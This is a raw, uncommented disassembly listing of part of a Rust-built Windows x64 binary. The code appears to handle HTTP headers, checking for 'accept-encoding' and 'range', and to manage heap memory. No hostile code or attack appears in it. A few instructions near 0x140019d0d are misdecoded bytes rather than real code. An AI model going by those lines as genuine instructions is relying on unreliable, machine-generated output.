mov r13, qword [rsp + 0xc0]
xor r12d, r12d
lea r14, [rsp + 0x500]
xor ebp, ebp
jmp 0x140019b50
inc rbp
add r13, 0x20
cmp rsi, rbp
je 0x140019bdf
mov rdx, qword [r13 + 0x10]
mov r8, qword [r13 + 0x18]
cmp r8, rdx
ja 0x14001d88d
mov r15, qword [r13]
mov rcx, r14
mov rdx, r15
call fcn.1400072d0
cmp qword [rsp + 0x500], 0
jne 0x14001d8b2
cmp qword [rsp + 0x510], rbx
jne 0x140019b40
mov rcx, qword [rsp + 0x508]
mov rdx, rdi
mov r8, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x140019b40
inc rbp
mov r12d, 1
cmp qword [r13 + 8], 0
je 0x140019bc1
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
mov r13, rsi
sub r13, rbp
je 0x140019bdf
jmp 0x14001abc3
xor ebp, ebp
xor r12d, r12d
mov r13, rsi
sub r13, rbp
jne 0x14001abc3
sub rsi, r12
mov qword [rsp + 0xd0], rsi
mov rdx, qword [rsp + 0xd0]
cmp rdx, qword [rsp + 0xc8]
jne 0x140019c11
lea rcx, [rsp + 0xc0]
call fcn.140048860
mov rdx, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xc0]
mov rcx, rdx
shl rcx, 5
movups xmm0, xmmword [rsp + 0x600]
movups xmm1, xmmword [rsp + 0x610]
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
inc rdx
mov qword [rsp + 0xd0], rdx
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movups xmm2, xmmword [rsp + 0xa0]
movups xmm3, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x350], xmm0
movaps xmmword [rsp + 0x360], xmm1
movaps xmmword [rsp + 0x370], xmm2
movaps xmmword [rsp + 0x380], xmm3
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x390], xmm0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x3a0], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x3a8], rax
mov r14, qword [rsp + 0x390]
mov r12, qword [rsp + 0x3a0]
mov r15, r12
shl r15, 5
test r12, r12
je 0x140019e53
lea r8, [r14 + r15]
lea r10, [0x140131a24]
mov r9, r14
jmp 0x140019d0d
add r9, 0x20
cmp r9, r8
je 0x140019e53
mov rdx, qword [r9 + 0x10]
mov rax, qword [r9 + 0x18]
cmp rax, rdx
ja 0x14001d92c
adc byte [rcx - 0x75], cl
sbb byte [r8 + 0x39], cl
ror byte [rdi], 1
xchg dword [rsi], ecx
cmp al, 0
add byte [rax - 0x73], cl
add qword [rax + 0x39], rcx
ror dword [rdi], 1
xchg dword [rdx], edx
cmp al, 0
add byte [rax - 0x7b], cl
sal byte [rcx + rsi*2 + 0x4d], 0x8b
je 0x140019da1
mov r11, qword [r9]
xor esi, esi
jmp 0x140019d43
nop word [rax + rax]
lea rcx, [rax + 1]
cmp rcx, rdx
ja 0x14001d93d
test rax, rax
je 0x140019da1
mov r11, qword [r9]
xor esi, esi
jmp 0x140019d43
inc rsi
cmp rax, rsi
je 0x140019d83
movzx edi, byte [r11 + rsi]
lea ebx, [rdi - 0x21]
cmp ebx, 0x5d
ja case.0x140019d5c.34
movsxd rbx, dword [r10 + rbx*4]
add rbx, r10
jmp rbx
lea ebx, [rdi - 0x30]
cmp bl, 0xa
jb case.0x140019d5c.33
and dil, 0xdf
add dil, 0xbf
cmp dil, 0x19
jbe case.0x140019d5c.33
jmp 0x140019da1
inc rcx
cmp rdx, rcx
je 0x140019d00
movzx eax, byte [r11 + rcx]
cmp eax, 9
je 0x140019d80
cmp eax, 0x20
je 0x140019d80
add al, 0xdf
cmp al, 0x5d
jbe 0x140019d80
mov qword [rsp + 0x2c0], r9
lea rax, [0x1400c1020]
mov qword [rsp + 0x2c8], rax
lea rax, str.invalid_header_
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x500]
lea rdx, [rsp + 0x80]
call fcn.140003b00
mov rdi, qword [rsp + 0x500]
mov r14, qword [rsp + 0x508]
mov rsi, qword [rsp + 0x510]
mov al, 7
mov qword [rsp + 0x1c8], rax
xor eax, eax
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x350]
lock dec qword [rax]
je 0x14001c58b
jmp 0x14001c3d7
mov r8, qword [rsp + 0x378]
mov r9, qword [rsp + 0x388]
mov qword [rsp + 0x520], 0
mov qword [rsp + 0x500], 0
mov qword [rsp + 0x510], 0
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x500]
call fcn.1400ddda0
mov ebp, dword [rsp + 0x80]
cmp ebp, 2
je 0x14001c31f
mov r8, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x98]
mov rax, qword [rsp + 0xc0]
test al, al
je 0x14001c46e
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x40], r12
mov rdx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xb0]
mov r11, qword [rsp + 0xb8]
mov qword [rsp + 0x60], rax
shr rax, 0x20
mov r9d, r11d
cmp eax, r11d
ja 0x140019fab
movzx ecx, byte [rsp + 0x84]
mov byte [rsp + 0x68], cl
movzx ecx, byte [rsp + 0x87]
movzx edi, word [rsp + 0x85]
mov r10d, dword [rsp + 0x88]
mov dword [rsp + 0x1d0], r10d
movzx r10d, byte [rsp + 0x8c]
mov byte [rsp + 0x6c], r10b
movzx r10d, byte [rsp + 0x8f]
movzx ebx, word [rsp + 0x8d]
mov r12d, dword [rsp + 0xa8]
mov dword [rsp + 0x70], r12d
movzx r12d, byte [rsp + 0xac]
mov byte [rsp + 0x1d8], r12b
movzx r13d, byte [rsp + 0xaf]
movzx r12d, word [rsp + 0xad]
movups xmm0, xmmword [rsp + 0xc8]
test eax, eax
je 0x140019f9a
cmp rdx, rax
jbe 0x140019f98
cmp byte [r8 + rax], 0xc0
jge 0x140019f9a
jmp 0x140019fab
jne 0x140019fab
test r11d, r11d
je 0x140019fc6
cmp rdx, r9
jbe 0x140019fc4
cmp byte [r8 + r9], 0xbf
jg 0x140019fc6
lea rcx, str._Users_caojian_.cargo_registry_src_index.crates.io_6f17d22bba15001f_url_2.5.0_src_lib.rs
mov qword [rsp + 0x20], rcx
mov rcx, r8
mov r8, rax
call fcn.14000b440
ud2
jne 0x140019fab
shl ecx, 0x10
or edi, ecx
shl r10d, 0x10
or ebx, r10d
shl r13d, 0x10
or r12d, r13d
mov dword [rsp + 0x2c0], ebp
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x2c4], al
mov word [rsp + 0x2c5], di
shr edi, 0x10
mov byte [rsp + 0x2c7], dil
mov eax, dword [rsp + 0x1d0]
mov dword [rsp + 0x2c8], eax
movzx eax, byte [rsp + 0x6c]
mov byte [rsp + 0x2cc], al
mov word [rsp + 0x2cd], bx
shr ebx, 0x10
mov byte [rsp + 0x2cf], bl
mov rax, r8
shr rax, 0x20
mov dword [rsp + 0x2d0], r8d
mov byte [rsp + 0x2d4], al
shr r8, 0x28
mov word [rsp + 0x2d5], r8w
mov eax, r8d
shr eax, 0x10
mov byte [rsp + 0x2d7], al
mov rax, rsi
shr rax, 0x20
mov dword [rsp + 0x2d8], esi
mov byte [rsp + 0x2dc], al
shr rsi, 0x28
mov word [rsp + 0x2dd], si
mov eax, esi
shr eax, 0x10
mov byte [rsp + 0x2df], al
mov rax, rdx
shr rax, 0x20
mov dword [rsp + 0x2e0], edx
mov byte [rsp + 0x2e4], al
shr rdx, 0x28
mov word [rsp + 0x2e5], dx
mov eax, edx
shr eax, 0x10
mov byte [rsp + 0x2e7], al
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x2e8], eax
movzx eax, byte [rsp + 0x1d8]
mov byte [rsp + 0x2ec], al
mov word [rsp + 0x2ed], r12w
shr r12d, 0x10
mov byte [rsp + 0x2ef], r12b
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], r11
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x300], rax
movups xmmword [rsp + 0x308], xmm0
mov rdi, qword [rsp + 0x40]
test rdi, rdi
je 0x14001a3bb
lea rbx, [rsp + 0x88]
xor r13d, r13d
lea rsi, [rsp + 0x80]
jmp 0x14001a14d
add r13, 0x20
cmp r15, r13
je 0x14001a3bb
mov rdx, qword [r14 + r13 + 0x10]
mov r8, qword [r14 + r13 + 0x18]
cmp r8, rdx
ja 0x14001d88d
mov rdx, qword [r14 + r13]
mov rcx, rsi
call fcn.1400072d0
cmp qword [rsp + 0x80], 0
jne 0x14001d8f3
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x90]
cmp rcx, 5
je 0x14001a330
cmp rcx, 0xf
jne 0x14001a140
movzx ecx, byte [rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x61
jne 0x14001a140
movzx ecx, byte [rax + 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x63
jne 0x14001a140
movzx ecx, byte [rax + 2]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x63
jne 0x14001a140
movzx ecx, byte [rax + 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x65
jne 0x14001a140
movzx ecx, byte [rax + 4]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x70
jne 0x14001a140
movzx ecx, byte [rax + 5]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x74
jne 0x14001a140
movzx ecx, byte [rax + 6]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x2d
jne 0x14001a140
movzx ecx, byte [rax + 7]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x65
jne 0x14001a140
movzx ecx, byte [rax + 8]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6e
jne 0x14001a140
movzx ecx, byte [rax + 9]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x63
jne 0x14001a140
movzx ecx, byte [rax + 0xa]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6f
jne 0x14001a140
movzx ecx, byte [rax + 0xb]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x64
jne 0x14001a140
movzx ecx, byte [rax + 0xc]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x69
jne 0x14001a140
movzx ecx, byte [rax + 0xd]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6e
jne 0x14001a140
movzx eax, byte [rax + 0xe]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x67
jne 0x14001a140
jmp 0x14001a4e7
movzx ecx, byte [rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x72
jne 0x14001a140
movzx ecx, byte [rax + 1]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x61
jne 0x14001a140
movzx ecx, byte [rax + 2]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x6e
jne 0x14001a140
movzx ecx, byte [rax + 3]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
cmp dl, 0x67
jne 0x14001a140
movzx eax, byte [rax + 4]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x65
jne 0x14001a140
jmp 0x14001a4e7
lea rax, [0x140180069]
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x4e8], 0xf
lea rax, [0x140180078]
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], 4
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0x500], rax
lea rcx, [0x1400bac50]
mov qword [rsp + 0x508], rcx
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x510], rax
mov qword [rsp + 0x518], rcx
lea rax, str.combase.dll
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x500]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
lea rcx, [rsp + 0x4c0]
lea rdx, [rsp + 0x80]
call fcn.140003b00
mov rax, qword [rsp + 0x4e8]
mov qword [rsp + 0x4d8], rax
cmp rdi, qword [rsp + 0x398]
jne 0x14001a4ba
lea rcx, [rsp + 0x390]
mov rdx, rdi
call fcn.140048860
mov r14, qword [rsp + 0x390]
mov rdi, qword [rsp + 0x3a0]
mov rax, rdi
shl rax, 5
movups xmm0, xmmword [rsp + 0x4c0]
movups xmm1, xmmword [rsp + 0x4d0]
movups xmmword [r14 + rax + 0x10], xmm1
movups xmmword [r14 + rax], xmm0
inc rdi
mov qword [rsp + 0x3a0], rdi
mov esi, dword [rsp + 0x3b0]
cmp esi, 0x3b9aca00
jne 0x14001a514
mov rax, qword [rsp + 0x350]
mov esi, dword [rax + 0x48]
mov edx, 0x3b9aca00
cmp esi, 0x3b9aca00
je 0x14001a566
add rax, 0x40
jmp 0x14001a51c
lea rax, [rsp + 0x3a8]
mov rdi, qword [rax]
call fcn.140081d90
add rax, rdi
jb 0x14001c32c
add edx, esi
cmp edx, 0x3b9aca00
jb 0x14001a546
inc rax
je 0x14001c32c
add edx, 0xc4653600
mov ecx, edx
shr ecx, 9
imul rcx, rcx, 0x44b83
shr rcx, 0x27
imul ecx, ecx, 0x3b9aca00
sub edx, ecx
mov qword [rsp + 0x4e0], rax
mov dword [rsp + 0x4e8], edx
mov qword [rsp + 0x600], 0
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x630], rax
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x358]
cmp qword [rax + 0x30], 0
je 0x14001a74f
mov r14, qword [rsp + 0x350]
lock inc qword [r14]
jle 0x14001d961
lock inc qword [rax]
jle 0x14001d961
mov qword [rsp + 0x2b0], r14
mov qword [rsp + 0x2b8], rax
mov rdi, qword [rax + 0x20]
mov rbx, qword [rax + 0x30]
mov rax, rbx
shl rax, 4
add rax, rdi
mov qword [rsp + 0x4c0], rdi
mov qword [rsp + 0x4c8], rax
movzx eax, byte [0x1401d21e9]
mov rcx, qword [0x1401d2138]
test rcx, rcx
jne 0x14001a625
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x14001db09
mov rcx, rax
mov qword [0x1401d2138], rax
mov r8d, 0x40
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14001db09
mov rsi, rax
movups xmm0, xmmword [rsp + 0x600]
movups xmm1, xmmword [rsp + 0x610]
movups xmm2, xmmword [rsp + 0x620]
movups xmm3, xmmword [rsp + 0x630]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x640], rax
lea rax, [0x140180098]
mov qword [rsp + 0x648], rax
mov qword [rsp + 0x650], rsi
lea rax, [0x1401800d0]
mov qword [rsp + 0x658], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x560], rax
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmmword [rsp + 0x550], xmm0
movaps xmm0, xmmword [rsp + 0x390]
movaps xmmword [rsp + 0x540], xmm0
movaps xmm0, xmmword [rsp + 0x350]
movaps xmm1, xmmword [rsp + 0x360]
movaps xmm2, xmmword [rsp + 0x370]
movaps xmm3, xmmword [rsp + 0x380]
movaps xmmword [rsp + 0x530], xmm3
movaps xmmword [rsp + 0x520], xmm2
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
test rbx, rbx
je 0x14001ac7a
lea rax, [rdi + 0x10]
mov qword [rsp + 0x4c0], rax
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0x500]
lea r9, [rsp + 0x640]
call qword [rax + 0x18]
jmp 0x14001aca3
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x600]
lea r8, [rsp + 0x350]
call fcn.1400c12e0
mov eax, dword [rsp + 0x80]
cmp eax, 3
jne 0x14001d2d7
mov eax, dword [rsp + 0x18a]
movzx ecx, word [rsp + 0x18e]
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x240], rcx
movzx eax, byte [rsp + 0x97]
shl eax, 0x10
movzx ecx, word [rsp + 0x95]
or ecx, eax
mov dword [rsp + 0x208], ecx
movzx eax, byte [rsp + 0x9f]
shl eax, 0x10
movzx ecx, word [rsp + 0x9d]
or ecx, eax
mov dword [rsp + 0x7c], ecx
movzx eax, byte [rsp + 0xa7]
shl eax, 0x10
movzx ecx, word [rsp + 0xa5]
or ecx, eax
mov dword [rsp + 0x68], ecx
movzx eax, byte [rsp + 0xaf]
shl eax, 0x10
movzx ecx, word [rsp + 0xad]
or ecx, eax
mov dword [rsp + 0x6c], ecx
movzx eax, byte [rsp + 0xb7]
shl eax, 0x10
movzx ecx, word [rsp + 0xb5]
or ecx, eax
mov dword [rsp + 0x60], ecx
movzx eax, byte [rsp + 0x117]
shl eax, 0x10
movzx ecx, word [rsp + 0x115]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x111]
or rax, rcx
mov qword [rsp + 0x1a8], rax
movzx eax, byte [rsp + 0x11f]
shl eax, 0x10
movzx ecx, word [rsp + 0x11d]
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x119]
or rax, rcx
mov qword [rsp + 0x58], rax
movzx eax, byte [rsp + 0x127]
shl eax, 0x10
movzx ecx, word [rsp + 0x125]
or ecx, eax
shl rcx, 0x20
mov r14d, dword [rsp + 0x121]
or r14, rcx
movzx eax, byte [rsp + 0x12f]
shl eax, 0x10
movzx ecx, word [rsp + 0x12d]
or ecx, eax
shl rcx, 0x20
mov ebx, dword [rsp + 0x129]
or rbx, rcx
movzx eax, byte [rsp + 0x137]
shl eax, 0x10
movzx ecx, word [rsp + 0x135]
or ecx, eax
shl rcx, 0x20
mov r15d, dword [rsp + 0x131]
or r15, rcx
movzx eax, byte [rsp + 0x13f]
shl eax, 0x10
movzx ecx, word [rsp + 0x13d]
or ecx, eax
shl rcx, 0x20
mov r12d, dword [rsp + 0x139]
or r12, rcx
mov eax, dword [rsp + 0x152]
movzx ecx, word [rsp + 0x156]
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x70], rcx
mov eax, dword [rsp + 0x15a]
movzx ecx, word [rsp + 0x15e]
shl rcx, 0x20
or rcx, rax
mov qword [rsp + 0x1b8], rcx
movzx edi, word [rsp + 0x166]
shl rdi, 0x20
mov eax, dword [rsp + 0x162]
or rdi, rax
movzx r9d, word [rsp + 0x16e]
shl r9, 0x20
mov eax, dword [rsp + 0x16a]
or r9, rax
movzx ecx, word [rsp + 0x176]
shl rcx, 0x20
mov eax, dword [rsp + 0x172]
or rcx, rax
movzx ebp, word [rsp + 0x17e]
shl rbp, 0x20
mov eax, dword [rsp + 0x17a]
or rbp, rax
mov qword [rsp + 0x1d8], rbp
movzx ebp, word [rsp + 0x186]
shl rbp, 0x20
mov eax, dword [rsp + 0x182]
or rbp, rax
mov qword [rsp + 0x1d0], rbp
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x39], al
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x3c], al
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x3d], al
movzx eax, byte [rsp + 0xb4]
mov byte [rsp + 0x3e], al
movzx esi, byte [rsp + 0x118]
movzx eax, byte [rsp + 0x120]
mov byte [rsp + 0x38], al
movzx r8d, byte [rsp + 0x128]
movzx eax, byte [rsp + 0x130]
mov byte [rsp + 0x3a], al
movzx eax, byte [rsp + 0x138]
mov byte [rsp + 0x3b], al
movzx edx, word [rsp + 0x188]
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x194], eax
mov eax, dword [rsp + 0x8c]
mov dword [rsp + 0x1f4], eax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x1b4], eax
movzx ebp, byte [rsp + 0x94]
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x198], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x19c], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x1a0], eax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x1a4], eax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x248], rax
movzx eax, byte [rsp + 0x110]
mov qword [rsp + 0x1c8], rax
mov r11, qword [rsp + 0x140]
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x2a0], rax
movzx eax, word [rsp + 0x150]
mov word [rsp + 0x4a], ax
movzx eax, word [rsp + 0x158]
mov word [rsp + 0x4c], ax
movzx eax, word [rsp + 0x160]
mov word [rsp + 0x4e], ax
movzx eax, word [rsp + 0x168]
mov word [rsp + 0x50], ax
movzx eax, word [rsp + 0x170]
mov word [rsp + 0x52], ax
movzx eax, word [rsp + 0x178]
mov word [rsp + 0x56], ax
movzx eax, word [rsp + 0x180]
mov word [rsp + 0x54], ax
jmp 0x14001b368
shl rbp, 5
add rbp, qword [rsp + 0xc0]
lea r14, [rsp + 0x500]
jmp 0x14001ac0d
mov rax, r12
shl rax, 5
mov rcx, rbp
sub rcx, rax
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
neg rax
movups xmmword [rbp + rax + 0x10], xmm1
movups xmmword [rcx], xmm0
add rbp, 0x20
dec r13
je 0x140019bdf
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
cmp r8, rdx
ja 0x14001d88d
mov r15, qword [rbp]
mov rcx, r14
mov rdx, r15
call fcn.1400072d0
cmp qword [rsp + 0x500], 0
jne 0x14001d8b2
cmp qword [rsp + 0x510], rbx
jne 0x14001abe0
mov rcx, qword [rsp + 0x508]
mov rdx, rdi
mov r8, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14001abe0
inc r12
cmp qword [rbp + 8], 0
je 0x14001ac00
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
jmp 0x14001ac00
lea rcx, [rsp + 0x80]
lea r8, [rsp + 0x350]
mov rdx, rsi
call fcn.1400c12e0
mov rcx, qword [0x1401d2138]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov qword [rsp + 0x4f8], r14
lea rdx, [rsp + 0x2b8]
mov eax, dword [rsp + 0x80]
cmp eax, 3
jne 0x14001cbd0
movzx edx, word [rsp + 0x188]
mov eax, dword [rsp + 0x18a]
mov qword [rsp + 0x240], rax
movzx r10d, word [rsp + 0x18e]
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x194], eax
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x39], al
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x3c], al
movzx eax, byte [rsp + 0xac]
mov byte [rsp + 0x3d], al
movzx eax, byte [rsp + 0xb4]
mov byte [rsp + 0x3e], al
movzx eax, byte [rsp + 0x117]
shl eax, 0x10
movzx ecx, word [rsp + 0x115]
or ecx, eax
mov qword [rsp + 0x1a8], rcx
movzx eax, byte [rsp + 0x118]
mov byte [rsp + 0x3f], al
movzx eax, byte [rsp + 0x11f]
shl eax, 0x10
movzx ecx, word [rsp + 0x11d]
or ecx, eax
mov qword [rsp + 0x1f8], rcx
movzx eax, byte [rsp + 0x120]
mov byte [rsp + 0x38], al
movzx eax, byte [rsp + 0x127]
shl eax, 0x10
movzx ecx, word [rsp + 0x125]
or ecx, eax
mov qword [rsp + 0x220], rcx
movzx eax, byte [rsp + 0x12f]
shl eax, 0x10
movzx r13d, word [rsp + 0x12d]
or r13d, eax
movzx eax, byte [rsp + 0x137]
shl eax, 0x10
movzx ebp, word [rsp + 0x135]
or ebp, eax
movzx eax, byte [rsp + 0x13f]
shl eax, 0x10
movzx esi, word [rsp + 0x13d]
or esi, eax
movzx eax, byte [rsp + 0x128]
mov byte [rsp + 0x1c0], al
movzx eax, byte [rsp + 0x130]
mov byte [rsp + 0x3a], al
movzx eax, byte [rsp + 0x138]
mov byte [rsp + 0x3b], al
mov eax, dword [rsp + 0x8c]
mov dword [rsp + 0x1f4], eax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x1b4], eax
movzx eax, byte [rsp + 0x94]
mov dword [rsp + 0x78], eax
movzx eax, byte [rsp + 0x97]
mov dword [rsp + 0x1e4], eax
movzx eax, word [rsp + 0x95]
mov dword [rsp + 0x208], eax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x198], eax
movzx eax, byte [rsp + 0x9f]
mov dword [rsp + 0x1e8], eax
movzx eax, word [rsp + 0x9d]
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x19c], eax
movzx eax, byte [rsp + 0xa7]
mov dword [rsp + 0x1ec], eax
movzx eax, word [rsp + 0xa5]
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x1a0], eax
movzx eax, byte [rsp + 0xaf]
mov dword [rsp + 0x1f0], eax
movzx eax, word [rsp + 0xad]
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x1a4], eax
movzx eax, byte [rsp + 0xb7]
mov dword [rsp + 0x320], eax
movzx eax, word [rsp + 0xb5]
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x200], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x248], rax
movzx eax, byte [rsp + 0x110]
mov qword [rsp + 0x1c8], rax
mov r9d, dword [rsp + 0x111]
mov eax, dword [rsp + 0x119]
mov qword [rsp + 0x58], rax
mov r14d, dword [rsp + 0x121]
mov ebx, dword [rsp + 0x129]
mov r15d, dword [rsp + 0x131]
mov r12d, dword [rsp + 0x139]
mov r11, qword [rsp + 0x140]
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x2a0], rax
movzx eax, word [rsp + 0x150]
mov word [rsp + 0x4a], ax
mov eax, dword [rsp + 0x152]
mov qword [rsp + 0x70], rax
movzx eax, word [rsp + 0x156]
mov qword [rsp + 0x218], rax
movzx eax, word [rsp + 0x158]
mov word [rsp + 0x4c], ax
mov r8d, dword [rsp + 0x15a]
movzx eax, word [rsp + 0x15e]
mov qword [rsp + 0x210], rax
movzx eax, word [rsp + 0x160]
mov word [rsp + 0x4e], ax
mov edi, dword [rsp + 0x162]
movzx eax, word [rsp + 0x166]
mov qword [rsp + 0x238], rax
movzx eax, word [rsp + 0x168]
mov word [rsp + 0x50], ax
mov eax, dword [rsp + 0x16a]
mov qword [rsp + 0x278], rax
movzx eax, word [rsp + 0x16e]
mov qword [rsp + 0x230], rax
movzx eax, word [rsp + 0x170]
mov word [rsp + 0x52], ax
mov ecx, dword [rsp + 0x172]
movzx eax, word [rsp + 0x176]
mov qword [rsp + 0x338], rax
movzx eax, word [rsp + 0x178]
mov word [rsp + 0x56], ax
mov eax, dword [rsp + 0x17a]
mov qword [rsp + 0x1d8], rax
movzx eax, word [rsp + 0x17e]
mov qword [rsp + 0x330], rax
